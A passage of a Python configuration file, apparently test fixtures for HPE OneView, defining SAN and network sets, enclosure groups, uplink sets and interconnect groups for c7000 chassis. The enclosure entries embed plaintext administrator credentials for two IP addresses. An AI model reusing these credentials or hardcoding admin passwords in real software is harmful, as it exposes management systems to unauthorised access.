'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-8-3-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-8-4-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': True, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, ] network_sets = [{'name': 'NS_4000', 'type': 'network-set', 'networkUris': ['net_4000'], 'nativeNetworkUri': 'net_4000'}, {'name': 'NS_3999', 'type': 'network-set', 'networkUris': ['net_3999'], 'nativeNetworkUri': 'net_3999'}, {'name': 'NS_3998', 'type': 'network-set', 'networkUris': ['net_3998'], 'nativeNetworkUri': 'net_3998'}, {'name': 'NS_3997', 'type': 'network-set', 'networkUris': ['net_3997'], 'nativeNetworkUri': 'net_3997'}, {'name': 'NS_3996', 'type': 'network-set', 'networkUris': ['net_3996'], 'nativeNetworkUri': 'net_3996'}, {'name': 'NS_3995', 'type': 'network-set', 'networkUris': ['net_3995'], 'nativeNetworkUri': 'net_3995'}, {'name': 'NS_3994', 'type': 'network-set', 'networkUris': ['net_3994'], 'nativeNetworkUri': 'net_3994'}, {'name': 'NS_3993', 'type': 'network-set', 'networkUris': ['net_3993'], 'nativeNetworkUri': 'net_3993'}, {'name': 'NS_3992', 'type': 'network-set', 'networkUris': ['net_3992'], 'nativeNetworkUri': 'net_3992'}, {'name': 'NS_3991', 'type': 'network-set', 'networkUris': ['net_3991'], 'nativeNetworkUri': 'net_3991'}, {'name': 'NS_3990', 'type': 'network-set', 'networkUris': ['net_3990'], 'nativeNetworkUri': 'net_3990'}, {'name': 'NS_3989', 'type': 'network-set', 'networkUris': ['net_3989'], 'nativeNetworkUri': 'net_3989'}, {'name': 'NS_3988', 'type': 'network-set', 'networkUris': ['net_3988'], 'nativeNetworkUri': 'net_3988'}, {'name': 'NS_3987', 'type': 'network-set', 'networkUris': ['net_3987'], 'nativeNetworkUri': 'net_3987'}, {'name': 'NS_3986', 'type': 'network-set', 'networkUris': ['net_3986'], 'nativeNetworkUri': 'net_3986'}, {'name': 'NS_3985', 'type': 'network-set', 'networkUris': ['net_3985'], 'nativeNetworkUri': 'net_3985'}, {'name': 'NS_4000-O', 'type': 'network-set', 'networkUris': ['net_4000-O'], 'nativeNetworkUri': 'net_4000-O'}, {'name': 'NS_3999-O', 'type': 'network-set', 'networkUris': ['net_3999-O'], 'nativeNetworkUri': 'net_3999-O'}, {'name': 'NS_3998-O', 'type': 'network-set', 'networkUris': ['net_3998-O'], 'nativeNetworkUri': 'net_3998-O'}, {'name': 'NS_3997-O', 'type': 'network-set', 'networkUris': ['net_3997-O'], 'nativeNetworkUri': 'net_3997-O'}, {'name': 'NS_3996-O', 'type': 'network-set', 'networkUris': ['net_3996-O'], 'nativeNetworkUri': 'net_3996-O'}, {'name': 'NS_3995-O', 'type': 'network-set', 'networkUris': ['net_3995-O'], 'nativeNetworkUri': 'net_3995-O'}, {'name': 'NS_3994-O', 'type': 'network-set', 'networkUris': ['net_3994-O'], 'nativeNetworkUri': 'net_3994-O'}, {'name': 'NS_3993-O', 'type': 'network-set', 'networkUris': ['net_3993-O'], 'nativeNetworkUri': 'net_3993-O'}, {'name': 'NS_3992-O', 'type': 'network-set', 'networkUris': ['net_3992-O'], 'nativeNetworkUri': 'net_3992-O'}, {'name': 'NS_3991-O', 'type': 'network-set', 'networkUris': ['net_3991-O'], 'nativeNetworkUri': 'net_3991-O'}, {'name': 'NS_3990-O', 'type': 'network-set', 'networkUris': ['net_3990-O'], 'nativeNetworkUri': 'net_3990-O'}, {'name': 'NS_3989-O', 'type': 'network-set', 'networkUris': ['net_3989-O'], 'nativeNetworkUri': 'net_3989-O'}, {'name': 'NS_3988-O', 'type': 'network-set', 'networkUris': ['net_3988-O'], 'nativeNetworkUri': 'net_3988-O'}, {'name': 'NS_3987-O', 'type': 'network-set', 'networkUris': ['net_3987-O'], 'nativeNetworkUri': 'net_3987-O'}, {'name': 'NS_3986-O', 'type': 'network-set', 'networkUris': ['net_3986-O'], 'nativeNetworkUri': 'net_3986-O'}, {'name': 'NS_3985-O', 'type': 'network-set', 'networkUris': ['net_3985-O'], 'nativeNetworkUri': 'net_3985-O'}, {'name': 'NS_4000-E', 'type': 'network-set', 'networkUris': ['net_4000-E'], 'nativeNetworkUri': 'net_4000-E'}, {'name': 'NS_3999-E', 'type': 'network-set', 'networkUris': ['net_3999-E'], 'nativeNetworkUri': 'net_3999-E'}, {'name': 'NS_3998-E', 'type': 'network-set', 'networkUris': ['net_3998-E'], 'nativeNetworkUri': 'net_3998-E'}, {'name': 'NS_3997-E', 'type': 'network-set', 'networkUris': ['net_3997-E'], 'nativeNetworkUri': 'net_3997-E'}, {'name': 'NS_3996-E', 'type': 'network-set', 'networkUris': ['net_3996-E'], 'nativeNetworkUri': 'net_3996-E'}, {'name': 'NS_3995-E', 'type': 'network-set', 'networkUris': ['net_3995-E'], 'nativeNetworkUri': 'net_3995-E'}, {'name': 'NS_3994-E', 'type': 'network-set', 'networkUris': ['net_3994-E'], 'nativeNetworkUri': 'net_3994-E'}, {'name': 'NS_3993-E', 'type': 'network-set', 'networkUris': ['net_3993-E'], 'nativeNetworkUri': 'net_3993-E'}, {'name': 'NS_3992-E', 'type': 'network-set', 'networkUris': ['net_3992-E'], 'nativeNetworkUri': 'net_3992-E'}, {'name': 'NS_3991-E', 'type': 'network-set', 'networkUris': ['net_3991-E'], 'nativeNetworkUri': 'net_3991-E'}, {'name': 'NS_3990-E', 'type': 'network-set', 'networkUris': ['net_3990-E'], 'nativeNetworkUri': 'net_3990-E'}, {'name': 'NS_3989-E', 'type': 'network-set', 'networkUris': ['net_3989-E'], 'nativeNetworkUri': 'net_3989-E'}, {'name': 'NS_3988-E', 'type': 'network-set', 'networkUris': ['net_3988-E'], 'nativeNetworkUri': 'net_3988-E'}, {'name': 'NS_3987-E', 'type': 'network-set', 'networkUris': ['net_3987-E'], 'nativeNetworkUri': 'net_3987-E'}, {'name': 'NS_3986-E', 'type': 'network-set', 'networkUris': ['net_3986-E'], 'nativeNetworkUri': 'net_3986-E'}, {'name': 'NS_3985-E', 'type': 'network-set', 'networkUris': ['net_3985-E'], 'nativeNetworkUri': 'net_3985-E'} ] #network_set_ranges = [{'prefix': 'net_', 'suffix': '-O', 'start': 2502, 'end': 2515, 'name': 'VlanTrunk1-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2502-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2502, 'end': 2515, 'name': 'VlanTrunk1-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2502-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2516, 'end': 2530, 'name': 'VlanTrunk2-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2516-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2516, 'end': 2530, 'name': 'VlanTrunk2-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2516-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2531, 'end': 2545, 'name': 'VlanTrunk3-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2531-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2531, 'end': 2545, 'name': 'VlanTrunk3-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2531-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2546, 'end': 2560, 'name': 'VlanTrunk4-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2546-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2546, 'end': 2560, 'name': 'VlanTrunk4-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2546-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2561, 'end': 2575, 'name': 'VlanTrunk5-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2561-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2561, 'end': 2575, 'name': 'VlanTrunk5-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2561-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2576, 'end': 2590, 'name': 'VlanTrunk6-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2576-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2576, 'end': 2590, 'name': 'VlanTrunk6-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2576-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2591, 'end': 2605, 'name': 'VlanTrunk7-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2591-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2591, 'end': 2605, 'name': 'VlanTrunk7-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2591-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2606, 'end': 2620, 'name': 'VlanTrunk8-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2606-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2606, 'end': 2620, 'name': 'VlanTrunk8-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2606-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2621, 'end': 2635, 'name': 'VlanTrunk9-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2621-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2621, 'end': 2635, 'name': 'VlanTrunk9-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2621-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2636, 'end': 2650, 'name': 'VlanTrunk10-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2636-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2636, 'end': 2650, 'name': 'VlanTrunk10-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2636-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2651, 'end': 2665, 'name': 'VlanTrunk11-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2651-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2651, 'end': 2665, 'name': 'VlanTrunk11-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2651-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2666, 'end': 2680, 'name': 'VlanTrunk12-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2666-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2666, 'end': 2680, 'name': 'VlanTrunk12-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2666-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2681, 'end': 2695, 'name': 'VlanTrunk13-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2681-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2681, 'end': 2695, 'name': 'VlanTrunk13-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2681-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2696, 'end': 2710, 'name': 'VlanTrunk14-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2696-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2696, 'end': 2710, 'name': 'VlanTrunk14-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2696-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2711, 'end': 2725, 'name': 'VlanTrunk15-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2711-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2711, 'end': 2725, 'name': 'VlanTrunk15-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2711-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2726, 'end': 2750, 'name': 'VlanTrunk16-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2726-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2726, 'end': 2750, 'name': 'VlanTrunk16-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2726-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2751, 'end': 2777, 'name': 'VlanTrunk17-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2751-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2751, 'end': 2777, 'name': 'VlanTrunk17-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2751-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2778, 'end': 2804, 'name': 'VlanTrunk18-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2778-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2778, 'end': 2804, 'name': 'VlanTrunk18-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2778-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2805, 'end': 2831, 'name': 'VlanTrunk19-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2805-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2805, 'end': 2831, 'name': 'VlanTrunk19-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2805-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2832, 'end': 2858, 'name': 'VlanTrunk20-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2832-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2832, 'end': 2858, 'name': 'VlanTrunk20-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2832-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2859, 'end': 2885, 'name': 'VlanTrunk21-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2859-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2859, 'end': 2885, 'name': 'VlanTrunk21-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2859-E'}, # {'prefix': 'net_', 'suffix': '-O', 'start': 2886, 'end': 2992, 'name': 'VlanTrunk22-O', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2886-O'}, # {'prefix': 'net_', 'suffix': '-E', 'start': 2886, 'end': 2992, 'name': 'VlanTrunk22-E', 'type': 'network-set', 'networkUris': None, 'nativeNetworkUri': 'net_2886-E'} # ] enc_group = [{'name': 'F10D-F10D-F10D-F10D', 'type': 'EnclosureGroupV200', 'enclosureTypeUri': '/rest/enclosure-types/c7000', 'stackingMode': 'Enclosure', 'interconnectBayMappingCount': 8, 'configurationScript': None, 'interconnectBayMappings': [{'interconnectBay': 1, 'logicalInterconnectGroupUri': 'LIG:LIG-F10D-F10D-F10D-F10D'}, {'interconnectBay': 2, 'logicalInterconnectGroupUri': 'LIG:LIG-F10D-F10D-F10D-F10D'}, {'interconnectBay': 3, 'logicalInterconnectGroupUri': 'LIG:LIG-F10D-F10D-F10D-F10D'}, {'interconnectBay': 4, 'logicalInterconnectGroupUri': 'LIG:LIG-F10D-F10D-F10D-F10D'}, {'interconnectBay': 5, 'logicalInterconnectGroupUri': 'LIG:LIG-F10D-F10D-F10D-F10D'}, {'interconnectBay': 6, 'logicalInterconnectGroupUri': 'LIG:LIG-F10D-F10D-F10D-F10D'}, {'interconnectBay': 7, 'logicalInterconnectGroupUri': 'LIG:LIG-F10D-F10D-F10D-F10D'}, {'interconnectBay': 8, 'logicalInterconnectGroupUri': 'LIG:LIG-F10D-F10D-F10D-F10D'}]}, {'name': 'FF-8FC20', 'type': 'EnclosureGroupV200', 'enclosureTypeUri': '/rest/enclosure-types/c7000', 'stackingMode': 'Enclosure', 'interconnectBayMappingCount': 8, 'configurationScript': None, 'interconnectBayMappings': [{'interconnectBay': 1, 'logicalInterconnectGroupUri': 'LIG:LIG-FF'}, {'interconnectBay': 2, 'logicalInterconnectGroupUri': 'LIG:LIG-FF'}, {'interconnectBay': 3, 'logicalInterconnectGroupUri': 'LIG:LIG-FF'}, {'interconnectBay': 4, 'logicalInterconnectGroupUri': 'LIG:LIG-FF'}]}, ] enc = [{'hostname': '15.186.2.186', 'username': 'Administrator', 'password': 'compaq', 'enclosureGroupUri': 'EG:F10D-F10D-F10D-F10D', 'force': False, 'licensingIntent': 'OneView'}, {'hostname': '15.186.2.137', 'username': 'Administrator', 'password': 'compaq', 'enclosureGroupUri': 'EG:FF-8FC20', 'force': False, 'licensingIntent': 'OneView'}, ] uplink_sets = {'IC-a': {'name': 'IC', 'ethernetNetworkType': 'Untagged', 'networkType': 'Ethernet', 'networkUris': ['IC'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '1', 'port': 'X10', 'speed': 'Auto'}]}, 'IC-b': {'name': 'IC', 'ethernetNetworkType': 'Untagged', 'networkType': 'Ethernet', 'networkUris': ['IC'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '1', 'port': 'X6', 'speed': 'Auto'}]}, 'SAN-3-A': {'name': 'SAN-3-A', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-3-A'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '3', 'port': 'X1', 'speed': 'Auto'}]}, 'SAN-1-2-DA': {'name': 'SAN-1-2-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-1-2-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '1', 'port': 'X2', 'speed': 'Auto'}]}, 'SAN-1-1-DA': {'name': 'SAN-1-1-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-1-1-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '1', 'port': 'X1', 'speed': 'Auto'}]}, 'SAN-1-2-DA': {'name': 'SAN-1-2-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-1-2-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '1', 'port': 'X2', 'speed': 'Auto'}]}, 'SAN-1-3-DA': {'name': 'SAN-1-3-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-1-3-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '1', 'port': 'X3', 'speed': 'Auto'}]}, 'SAN-1-4-DA': {'name': 'SAN-1-4-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-1-4-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '1', 'port': 'X4', 'speed': 'Auto'}]}, 'SAN-2-1-DA': {'name': 'SAN-2-1-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-2-1-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '2', 'port': 'X1', 'speed': 'Auto'}]}, 'SAN-2-2-DA': {'name': 'SAN-2-2-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-2-2-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '2', 'port': 'X2', 'speed': 'Auto'}]}, 'SAN-2-3-DA': {'name': 'SAN-2-3-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-2-3-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '2', 'port': 'X3', 'speed': 'Auto'}]}, 'SAN-2-4-DA': {'name': 'SAN-2-4-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-2-4-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '2', 'port': 'X4', 'speed': 'Auto'}]}, 'SAN-3-1-DA': {'name': 'SAN-3-1-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-3-1-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '3', 'port': 'X1', 'speed': 'Auto'}]}, 'SAN-3-2-DA': {'name': 'SAN-3-2-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-3-2-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '3', 'port': 'X2', 'speed': 'Auto'}]}, 'SAN-3-3-DA': {'name': 'SAN-3-3-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-3-3-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '3', 'port': 'X3', 'speed': 'Auto'}]}, 'SAN-3-4-DA': {'name': 'SAN-3-4-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-3-4-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '3', 'port': 'X4', 'speed': 'Auto'}]}, 'SAN-4-1-DA': {'name': 'SAN-4-1-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-4-1-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '4', 'port': 'X1', 'speed': 'Auto'}]}, 'SAN-4-2-DA': {'name': 'SAN-4-2-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-4-2-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '4', 'port': 'X2', 'speed': 'Auto'}]}, 'SAN-4-3-DA': {'name': 'SAN-4-3-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-4-3-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '4', 'port': 'X3', 'speed': 'Auto'}]}, 'SAN-4-4-DA': {'name': 'SAN-4-4-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-4-4-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '4', 'port': 'X4', 'speed': 'Auto'}]}, 'SAN-5-1-DA': {'name': 'SAN-5-1-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-5-1-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '5', 'port': 'X1', 'speed': 'Auto'}]}, 'SAN-5-2-DA': {'name': 'SAN-5-2-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-5-2-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '5', 'port': 'X2', 'speed': 'Auto'}]}, 'SAN-5-3-DA': {'name': 'SAN-5-3-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-5-3-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '5', 'port': 'X3', 'speed': 'Auto'}]}, 'SAN-5-4-DA': {'name': 'SAN-5-4-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-5-4-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '5', 'port': 'X4', 'speed': 'Auto'}]}, 'SAN-6-1-DA': {'name': 'SAN-6-1-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-6-1-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '6', 'port': 'X1', 'speed': 'Auto'}]}, 'SAN-6-2-DA': {'name': 'SAN-6-2-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-6-2-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '6', 'port': 'X2', 'speed': 'Auto'}]}, 'SAN-6-3-DA': {'name': 'SAN-6-3-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-6-3-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '6', 'port': 'X3', 'speed': 'Auto'}]}, 'SAN-6-4-DA': {'name': 'SAN-6-4-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-6-4-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '6', 'port': 'X4', 'speed': 'Auto'}]}, 'SAN-7-1-DA': {'name': 'SAN-7-1-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-7-1-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '7', 'port': 'X1', 'speed': 'Auto'}]}, 'SAN-7-2-DA': {'name': 'SAN-7-2-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-7-2-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '7', 'port': 'X2', 'speed': 'Auto'}]}, 'SAN-7-3-DA': {'name': 'SAN-7-3-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-7-3-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '7', 'port': 'X3', 'speed': 'Auto'}]}, 'SAN-7-4-DA': {'name': 'SAN-7-4-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-7-4-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '7', 'port': 'X4', 'speed': 'Auto'}]}, 'SAN-8-1-DA': {'name': 'SAN-8-1-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-8-1-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '8', 'port': 'X1', 'speed': 'Auto'}]}, 'SAN-8-2-DA': {'name': 'SAN-8-2-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-8-2-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '8', 'port': 'X2', 'speed': 'Auto'}]}, 'SAN-8-3-DA': {'name': 'SAN-8-3-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-8-3-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '8', 'port': 'X3', 'speed': 'Auto'}]}, 'SAN-8-4-DA': {'name': 'SAN-8-4-DA', 'ethernetNetworkType': 'NotApplicable', 'networkType': 'FibreChannel', 'networkUris': ['SAN-8-4-DA'], 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '8', 'port': 'X4', 'speed': 'Auto'}]}, 'BigPipe16': {'name': 'BigPipe16', 'ethernetNetworkType': 'Tagged', 'networkType': 'Ethernet', 'networkUris': make_range_list({'start': 1, 'end': 44, 'prefix':'net_', 'suffix':''}), 'nativeNetworkUri': None, 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '1', 'port': 'X5', 'speed': 'Auto'}, {'bay': '2', 'port': 'X5', 'speed': 'Auto'}, {'bay': '1', 'port': 'X6', 'speed': 'Auto'}, {'bay': '2', 'port': 'X6', 'speed': 'Auto'}]}, 'BigPipe17': {'name': 'BigPipe17', 'ethernetNetworkType': 'Tagged', 'networkType': 'Ethernet', 'networkUris': make_range_list({'start': 1, 'end': 44, 'prefix':'net_', 'suffix':''}), 'nativeNetworkUri': 'net_1', 'mode': 'Auto', 'logicalPortConfigInfos': [{'bay': '1', 'port': 'X1', 'speed': 'Auto'}, {'bay': '2', 'port': 'X1', 'speed': 'Auto'}]} } ligs = [{'name': 'LIG-F10D-F10D-F10D-F10D', 'type': 'logical-interconnect-groupV3', 'enclosureType': 'C7000', 'interconnectMapTemplate': [{'bay': 1, 'type': 'HP VC Flex-10/10D Module'}, {'bay': 2, 'type': 'HP VC Flex-10/10D Module'}, {'bay': 3, 'type': 'HP VC Flex-10/10D Module'}, {'bay': 4, 'type': 'HP VC Flex-10/10D Module'}, {'bay': 5, 'type': 'HP VC Flex-10/10D Module'}, {'bay': 6, 'type': 'HP VC Flex-10/10D Module'}, {'bay': 7, 'type': 'HP VC Flex-10/10D Module'}, 